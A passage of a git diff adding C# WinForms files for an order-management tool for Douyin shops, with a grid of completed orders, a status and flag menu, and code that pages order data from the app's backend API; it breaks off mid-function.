AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/SuccessOrderListForm.Designer.cs b/29WxOrder/OrderForms/SuccessOrderListForm.Designer.cs new file mode 100644 index 0000000..e90f3ad --- /dev/null +++ b/29WxOrder/OrderForms/SuccessOrderListForm.Designer.cs @@ -0,0 +1,568 @@ + +namespace _29WxOrder.OrderForms +{ + partial class SuccessOrderListForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + this.DgvSuccessOrderList = new _29WxOrder.MyControl.MyDataGridView(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.已催评ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.修改订单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.待拍单ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.订单插旗ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.灰色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.紫色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.蓝色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.绿色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.橙色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.红色ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.pnlUpdateOrderInfo = new DevComponents.DotNetBar.PanelEx(); + this.col_shop_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_shop_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_title = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_up_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_product_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_c_biz_desc = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productSku = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productImgSku = new System.Windows.Forms.DataGridViewImageColumn(); + this.productSellingPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_buy_price = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission_scale = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.commission = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.profit = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.productCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_id = new System.Windows.Forms.DataGridViewLinkColumn(); + this.col_name = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_name_fake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_mobile = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_mobile_fake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_address = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_address_fake = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_create_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_promise_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_order_send_remaining_time = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buyOrderTime = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buyOrderNum = new System.Windows.Forms.DataGridViewLinkColumn(); + this.order_Status = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.buyOrderUser = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.expressName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.expressNo = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.is_evaluate_status = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.is_comment = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_remark = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.DgvSuccessOrderList)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // DgvSuccessOrderList + // + this.DgvSuccessOrderList.AllowUserToAddRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.DgvSuccessOrderList.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.DgvSuccessOrderList.BackgroundColor = System.Drawing.Color.White; + this.DgvSuccessOrderList.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvSuccessOrderList.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.DgvSuccessOrderList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.DgvSuccessOrderList.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_shop_id, + this.col_shop_name, + this.col_title, + this.col_up_product_id, + this.col_product_id, + this.col_c_biz_desc, + this.productSku, + this.productImgSku, + this.productSellingPrice, + this.col_buy_price, + this.commission_scale, + this.commission, + this.profit, + this.productCount, + this.col_order_id, + this.col_name, + this.col_name_fake, + this.col_mobile, + this.col_mobile_fake, + this.col_address, + this.col_address_fake, + this.col_create_time, + this.col_order_promise_time, + this.col_order_send_remaining_time, + this.buyOrderTime, + this.buyOrderNum, + this.order_Status, + this.buyOrderUser, + this.expressName, + this.expressNo, + this.is_evaluate_status, + this.is_comment, + this.col_remark}); + this.DgvSuccessOrderList.ContextMenuStrip = this.contextMenuStrip1; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvSuccessOrderList.DefaultCellStyle = dataGridViewCellStyle3; + this.DgvSuccessOrderList.Dock = System.Windows.Forms.DockStyle.Fill; + this.DgvSuccessOrderList.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.DgvSuccessOrderList.IsCustomSort = false; + this.DgvSuccessOrderList.Location = new System.Drawing.Point(0, 0); + this.DgvSuccessOrderList.Name = "DgvSuccessOrderList"; + this.DgvSuccessOrderList.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.DgvSuccessOrderList.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.DgvSuccessOrderList.RowTemplate.Height = 23; + this.DgvSuccessOrderList.ShowCellToolTips = false; + this.DgvSuccessOrderList.Size = new System.Drawing.Size(800, 450); + this.DgvSuccessOrderList.TabIndex = 2; + this.DgvSuccessOrderList.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.successOrderListDgv_CellContentClick); + this.DgvSuccessOrderList.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.successOrderListDgv_CellMouseDown); + this.DgvSuccessOrderList.CellMouseEnter += new System.Windows.Forms.DataGridViewCellEventHandler(this.successOrderListDgv_CellMouseEnter); + this.DgvSuccessOrderList.CellMouseLeave += new System.Windows.Forms.DataGridViewCellEventHandler(this.successOrderListDgv_CellMouseLeave); + this.DgvSuccessOrderList.Scroll += new System.Windows.Forms.ScrollEventHandler(this.successOrderListDgv_Scroll); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.已催评ToolStripMenuItem, + this.修改订单ToolStripMenuItem, + this.订单插旗ToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(125, 70); + // + // 已催评ToolStripMenuItem + // + this.已催评ToolStripMenuItem.Name = "已催评ToolStripMenuItem"; + this.已催评ToolStripMenuItem.Size = new System.Drawing.Size(124, 22); + this.已催评ToolStripMenuItem.Text = "已催评"; + this.已催评ToolStripMenuItem.Click += new System.EventHandler(this.successmenu_click); + // + // 修改订单ToolStripMenuItem + // + this.修改订单ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.待拍单ToolStripMenuItem}); + this.修改订单ToolStripMenuItem.Name = "修改订单ToolStripMenuItem"; + this.修改订单ToolStripMenuItem.Size = new System.Drawing.Size(124, 22); + this.修改订单ToolStripMenuItem.Text = "修改状态"; + // + // 待拍单ToolStripMenuItem + // + this.待拍单ToolStripMenuItem.Name = "待拍单ToolStripMenuItem"; + this.待拍单ToolStripMenuItem.Size = new System.Drawing.Size(112, 22); + this.待拍单ToolStripMenuItem.Text = "待拍单"; + this.待拍单ToolStripMenuItem.Click += new System.EventHandler(this.待拍单ToolStripMenuItem_Click); + // + // 订单插旗ToolStripMenuItem + // + this.订单插旗ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.灰色ToolStripMenuItem, + this.紫色ToolStripMenuItem, + this.蓝色ToolStripMenuItem, + this.绿色ToolStripMenuItem, + this.橙色ToolStripMenuItem, + this.红色ToolStripMenuItem}); + this.订单插旗ToolStripMenuItem.Name = "订单插旗ToolStripMenuItem"; + this.订单插旗ToolStripMenuItem.Size = new System.Drawing.Size(124, 22); + this.订单插旗ToolStripMenuItem.Text = "订单插旗"; + // + // 灰色ToolStripMenuItem + // + this.灰色ToolStripMenuItem.Name = "灰色ToolStripMenuItem"; + this.灰色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.灰色ToolStripMenuItem.Text = "灰色"; + this.灰色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 紫色ToolStripMenuItem + // + this.紫色ToolStripMenuItem.Name = "紫色ToolStripMenuItem"; + this.紫色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.紫色ToolStripMenuItem.Text = "紫色"; + this.紫色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 蓝色ToolStripMenuItem + // + this.蓝色ToolStripMenuItem.Name = "蓝色ToolStripMenuItem"; + this.蓝色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.蓝色ToolStripMenuItem.Text = "蓝色"; + this.蓝色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 绿色ToolStripMenuItem + // + this.绿色ToolStripMenuItem.Name = "绿色ToolStripMenuItem"; + this.绿色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.绿色ToolStripMenuItem.Text = "绿色"; + this.绿色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 橙色ToolStripMenuItem + // + this.橙色ToolStripMenuItem.Name = "橙色ToolStripMenuItem"; + this.橙色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.橙色ToolStripMenuItem.Text = "橙色"; + this.橙色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // 红色ToolStripMenuItem + // + this.红色ToolStripMenuItem.Name = "红色ToolStripMenuItem"; + this.红色ToolStripMenuItem.Size = new System.Drawing.Size(100, 22); + this.红色ToolStripMenuItem.Text = "红色"; + this.红色ToolStripMenuItem.Click += new System.EventHandler(this.colore_clicke); + // + // pnlUpdateOrderInfo + // + this.pnlUpdateOrderInfo.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.pnlUpdateOrderInfo.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlUpdateOrderInfo.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlUpdateOrderInfo.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlUpdateOrderInfo.Location = new System.Drawing.Point(345, 175); + this.pnlUpdateOrderInfo.MaximumSize = new System.Drawing.Size(300, 140); + this.pnlUpdateOrderInfo.Name = "pnlUpdateOrderInfo"; + this.pnlUpdateOrderInfo.Size = new System.Drawing.Size(110, 100); + this.pnlUpdateOrderInfo.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlUpdateOrderInfo.Style.BackColor1.Alpha = ((byte)(128)); + this.pnlUpdateOrderInfo.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlUpdateOrderInfo.Style.BackColor2.Alpha = ((byte)(128)); + this.pnlUpdateOrderInfo.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlUpdateOrderInfo.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlUpdateOrderInfo.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlUpdateOrderInfo.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlUpdateOrderInfo.Style.GradientAngle = 90; + this.pnlUpdateOrderInfo.TabIndex = 10; + this.pnlUpdateOrderInfo.Text = "正在更新订单"; + this.pnlUpdateOrderInfo.Visible = false; + // + // col_shop_id + // + this.col_shop_id.HeaderText = "店铺编号"; + this.col_shop_id.Name = "col_shop_id"; + this.col_shop_id.ReadOnly = true; + this.col_shop_id.Width = 80; + // + // col_shop_name + // + this.col_shop_name.HeaderText = "店铺名称"; + this.col_shop_name.Name = "col_shop_name"; + this.col_shop_name.ReadOnly = true; + // + // col_title + // + this.col_title.HeaderText = "商品名称"; + this.col_title.Name = "col_title"; + this.col_title.ReadOnly = true; + // + // col_up_product_id + // + this.col_up_product_id.HeaderText = "上家ID"; + this.col_up_product_id.Name = "col_up_product_id"; + this.col_up_product_id.ReadOnly = true; + // + // col_product_id + // + this.col_product_id.HeaderText = "本店ID"; + this.col_product_id.Name = "col_product_id"; + this.col_product_id.ReadOnly = true; + this.col_product_id.Width = 120; + // + // col_c_biz_desc + // + this.col_c_biz_desc.HeaderText = "商品描述"; + this.col_c_biz_desc.Name = "col_c_biz_desc"; + this.col_c_biz_desc.ReadOnly = true; + this.col_c_biz_desc.Width = 80; + // + // productSku + // + this.productSku.HeaderText = "规格"; + this.productSku.Name = "productSku"; + this.productSku.ReadOnly = true; + // + // productImgSku + // + this.productImgSku.HeaderText = "图片"; + this.productImgSku.Name = "productImgSku"; + this.productImgSku.ReadOnly = true; + this.productImgSku.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.productImgSku.Width = 80; + // + // productSellingPrice + // + this.productSellingPrice.HeaderText = "售价"; + this.productSellingPrice.Name = "productSellingPrice"; + this.productSellingPrice.ReadOnly = true; + this.productSellingPrice.Width = 60; + // + // col_buy_price + // + this.col_buy_price.HeaderText = "进价"; + this.col_buy_price.Name = "col_buy_price"; + this.col_buy_price.ReadOnly = true; + this.col_buy_price.Width = 60; + // + // commission_scale + // + this.commission_scale.HeaderText = "佣金比例"; + this.commission_scale.Name = "commission_scale"; + this.commission_scale.ReadOnly = true; + this.commission_scale.Width = 60; + // + // commission + // + this.commission.HeaderText = "佣金"; + this.commission.Name = "commission"; + this.commission.ReadOnly = true; + this.commission.Width = 60; + // + // profit + // + this.profit.HeaderText = "利润"; + this.profit.Name = "profit"; + this.profit.ReadOnly = true; + this.profit.Width = 60; + // + // productCount + // + this.productCount.HeaderText = "数量"; + this.productCount.Name = "productCount"; + this.productCount.ReadOnly = true; + this.productCount.Width = 40; + // + // col_order_id + // + this.col_order_id.HeaderText = "订单号"; + this.col_order_id.Name = "col_order_id"; + this.col_order_id.ReadOnly = true; + this.col_order_id.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.col_order_id.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.col_order_id.Width = 130; + // + // col_name + // + this.col_name.HeaderText = "姓名"; + this.col_name.Name = "col_name"; + this.col_name.ReadOnly = true; + this.col_name.Visible = false; + // + // col_name_fake + // + this.col_name_fake.HeaderText = "姓名"; + this.col_name_fake.Name = "col_name_fake"; + this.col_name_fake.ReadOnly = true; + // + // col_mobile + // + this.col_mobile.HeaderText = "电话"; + this.col_mobile.Name = "col_mobile"; + this.col_mobile.ReadOnly = true; + this.col_mobile.Visible = false; + // + // col_mobile_fake + // + this.col_mobile_fake.HeaderText = "电话"; + this.col_mobile_fake.Name = "col_mobile_fake"; + this.col_mobile_fake.ReadOnly = true; + // + // col_address + // + this.col_address.HeaderText = "地址"; + this.col_address.Name = "col_address"; + this.col_address.ReadOnly = true; + this.col_address.Visible = false; + // + // col_address_fake + // + this.col_address_fake.HeaderText = "地址"; + this.col_address_fake.Name = "col_address_fake"; + this.col_address_fake.ReadOnly = true; + // + // col_create_time + // + this.col_create_time.HeaderText = "订单确认时间"; + this.col_create_time.Name = "col_create_time"; + this.col_create_time.ReadOnly = true; + this.col_create_time.Width = 120; + // + // col_order_promise_time + // + this.col_order_promise_time.HeaderText = "延迟发货时间"; + this.col_order_promise_time.Name = "col_order_promise_time"; + this.col_order_promise_time.ReadOnly = true; + this.col_order_promise_time.Width = 120; + // + // col_order_send_remaining_time + // + this.col_order_send_remaining_time.HeaderText = "延迟剩余"; + this.col_order_send_remaining_time.Name = "col_order_send_remaining_time"; + this.col_order_send_remaining_time.ReadOnly = true; + // + // buyOrderTime + // + this.buyOrderTime.HeaderText = "拍单时间"; + this.buyOrderTime.Name = "buyOrderTime"; + this.buyOrderTime.ReadOnly = true; + this.buyOrderTime.Width = 120; + // + // buyOrderNum + // + this.buyOrderNum.HeaderText = "拍单订单号"; + this.buyOrderNum.Name = "buyOrderNum"; + this.buyOrderNum.ReadOnly = true; + this.buyOrderNum.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.buyOrderNum.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.buyOrderNum.Width = 150; + // + // order_Status + // + this.order_Status.HeaderText = "订单状态"; + this.order_Status.Name = "order_Status"; + this.order_Status.ReadOnly = true; + // + // buyOrderUser + // + this.buyOrderUser.HeaderText = "买手号"; + this.buyOrderUser.Name = "buyOrderUser"; + this.buyOrderUser.ReadOnly = true; + // + // expressName + // + this.expressName.HeaderText = "物流公司"; + this.expressName.Name = "expressName"; + this.expressName.ReadOnly = true; + // + // expressNo + // + this.expressNo.HeaderText = "物流单号"; + this.expressNo.Name = "expressNo"; + this.expressNo.ReadOnly = true; + // + // is_evaluate_status + // + this.is_evaluate_status.HeaderText = "催评状态"; + this.is_evaluate_status.Name = "is_evaluate_status"; + this.is_evaluate_status.ReadOnly = true; + // + // is_comment + // + this.is_comment.HeaderText = "是否评价"; + this.is_comment.Name = "is_comment"; + this.is_comment.ReadOnly = true; + // + // col_remark + // + this.col_remark.HeaderText = "备注"; + this.col_remark.Name = "col_remark"; + this.col_remark.ReadOnly = true; + // + // SuccessOrderListForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.pnlUpdateOrderInfo); + this.Controls.Add(this.DgvSuccessOrderList); + this.Name = "SuccessOrderListForm"; + this.Text = "SuccessOrderListForm"; + this.Load += new System.EventHandler(this.SuccessOrderListForm_Load); + ((System.ComponentModel.ISupportInitialize)(this.DgvSuccessOrderList)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private MyControl.MyDataGridView DgvSuccessOrderList; + + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem 已催评ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 修改订单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 待拍单ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 订单插旗ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 灰色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 紫色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 蓝色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 绿色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 橙色ToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem 红色ToolStripMenuItem; + private DevComponents.DotNetBar.PanelEx pnlUpdateOrderInfo; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_shop_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_title; + private System.Windows.Forms.DataGridViewTextBoxColumn col_up_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_product_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_c_biz_desc; + private System.Windows.Forms.DataGridViewTextBoxColumn productSku; + private System.Windows.Forms.DataGridViewImageColumn productImgSku; + private System.Windows.Forms.DataGridViewTextBoxColumn productSellingPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn col_buy_price; + private System.Windows.Forms.DataGridViewTextBoxColumn commission_scale; + private System.Windows.Forms.DataGridViewTextBoxColumn commission; + private System.Windows.Forms.DataGridViewTextBoxColumn profit; + private System.Windows.Forms.DataGridViewTextBoxColumn productCount; + private System.Windows.Forms.DataGridViewLinkColumn col_order_id; + private System.Windows.Forms.DataGridViewTextBoxColumn col_name; + private System.Windows.Forms.DataGridViewTextBoxColumn col_name_fake; + private System.Windows.Forms.DataGridViewTextBoxColumn col_mobile; + private System.Windows.Forms.DataGridViewTextBoxColumn col_mobile_fake; + private System.Windows.Forms.DataGridViewTextBoxColumn col_address; + private System.Windows.Forms.DataGridViewTextBoxColumn col_address_fake; + private System.Windows.Forms.DataGridViewTextBoxColumn col_create_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_promise_time; + private System.Windows.Forms.DataGridViewTextBoxColumn col_order_send_remaining_time; + private System.Windows.Forms.DataGridViewTextBoxColumn buyOrderTime; + private System.Windows.Forms.DataGridViewLinkColumn buyOrderNum; + private System.Windows.Forms.DataGridViewTextBoxColumn order_Status; + private System.Windows.Forms.DataGridViewTextBoxColumn buyOrderUser; + private System.Windows.Forms.DataGridViewTextBoxColumn expressName; + private System.Windows.Forms.DataGridViewTextBoxColumn expressNo; + private System.Windows.Forms.DataGridViewTextBoxColumn is_evaluate_status; + private System.Windows.Forms.DataGridViewTextBoxColumn is_comment; + private System.Windows.Forms.DataGridViewTextBoxColumn col_remark; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/SuccessOrderListForm.cs b/29WxOrder/OrderForms/SuccessOrderListForm.cs new file mode 100644 index 0000000..4f48c4c --- /dev/null +++ b/29WxOrder/OrderForms/SuccessOrderListForm.cs @@ -0,0 +1,874 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Helper; +using AllBase.Model.Result; +using _29WxOrder.BuyForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; +using Work.BuyUsers; + +namespace _29WxOrder.OrderForms +{ + public partial class SuccessOrderListForm : Form + { + public MainForm mainform; + bool refresh = false; + + public SuccessOrderListForm() + { + InitializeComponent(); + } + + private void SuccessOrderListForm_Load(object sender, EventArgs e) + { + SetDgvHeaders(false); + RefreshServerOrder(); + } + + public void RefreshServerOrder() + { + if (refresh == false) + { + Task.Run(() => { ReadServerOrder(); }); + } + else + { + BaseMsgForm.ShowInfo("正在读取中"); + } + } + int page = 0; + int pagecount = 0; + void ReadServerOrder(bool scrollpage = false) + { + refresh = true; + if (!scrollpage) + { + page = 0; + pagecount = 0; + Invoke(new Action(() => + { + DgvSuccessOrderList.Rows.Clear(); + })); + CollectionClass.successOrderDataList.Clear(); + } + + List orderList = new List(); + List shopList = new List(); + + string urlx = BaseClass.LoginApiUrl + "?obj=douyin/order&act=get"; + string datax = "&order_status_buy=0,4&page=" + page + "&pageSize=100"; + string html = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + if (string.IsNullOrEmpty(html) || !html.Contains("\"data\"") || !html.Contains("\"list\"")) + { + refresh = false; + return; + } + if (string.IsNullOrEmpty(JObject.Parse(html)["data"].ToString())) + { + refresh = false; + return; + } + pagecount = Math.Ceiling((JObject.Parse(html)["data"]["count"].ToString().ParseToInt() / 100.0).ParseToDecimal()).ParseToInt(); + var jArr = JObject.Parse(html)["data"]["list"]; + foreach (JObject jObj in jArr) + { + string orderStr = jObj.ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(orderStr.Replace("\r\n", "")); + + CollectionClass.successOrderDataList.Add(douYinOrderModel); + orderList.Add(douYinOrderModel); + + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == douYinOrderModel.shop_id.ToString()); + if (shop != null && douYinOrderModel.order_status != 4) // 订单状态不为4的放入列表,后面按时间段查询更新订单。 + { + if (!shopList.Contains(shop)) + shopList.Add(shop); + + #region 废弃 + //DouyinApi dyapi = new DouyinApi(shop); + //Dictionary dic = new Dictionary() { }; + //dic.Add("shop_order_id", douYinOrderModel.order_id); + //dyapi.JsonData = dic; + //string htmljm = dyapi.GetOrderDetail(); + //if (!string.IsNullOrEmpty(htmljm) && (htmljm.Contains("\"message\":\"success\"") || htmljm.Contains("\"code\":10000"))) + //{ + // try + // { + // string oStatus = JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString(); + // + // StringBuilder sb = new StringBuilder(); + // sb.Append("&order_id=" + douYinOrderModel.order_id); + // sb.Append("&order_status=" + oStatus); + // + // var skuorderlist = 